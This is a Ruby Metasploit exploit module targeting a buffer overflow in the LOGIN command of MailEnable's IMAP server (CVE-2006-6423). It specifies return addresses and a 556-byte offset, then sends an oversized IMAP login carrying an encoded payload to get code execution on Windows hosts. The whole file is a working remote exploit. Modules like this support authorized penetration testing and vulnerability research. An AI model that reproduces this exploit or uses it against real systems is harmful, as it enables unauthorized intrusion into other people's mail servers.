##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MailEnable IMAPD (2.34/2.35) Login Request Buffer Overflow',
        'Description' => %q{
          MailEnable's IMAP server contains a buffer overflow
          vulnerability in the Login command.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2006-6423'],
          [ 'OSVDB', '32125'],
          [ 'BID', '21492']
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 450,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [

          [
            'MailEnable 2.35 Pro',
            {
              'Ret' => 0x10049abb,
            }
          ], # MEAISP.DLL

          [
            'MailEnable 2.34 Pro',
            {
              'Ret' => 0x76095d68,
              'Offset' => 556,
            }
          ], # push esp #  ret  | ascii {PAGE_EXECUTE_READ} [MSVCP60.dll]
        ],
        'DisclosureDate' => '2006-12-11',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([ Opt::RPORT(143) ])
  end

  def exploit
    connect

    auth = "a001 LOGIN " + rand_text_alpha_upper(4) + " {10}\r\n"
    sploit	= rand_text_alpha_upper(556) + [target.ret].pack('V')
    sploit	<< payload.encoded + "\r\n\r\n"

    res = sock.recv(50)
    if (res =~ / OK IMAP4rev1/)
      print_status("Trying target #{target.name}...")
      sock.put(auth)
      sock.get_once(-1, 3)
      sock.put(sploit)
    else
      print_status("Not running IMAP4rev1...")
    end

    handler
    disconnect
  end
end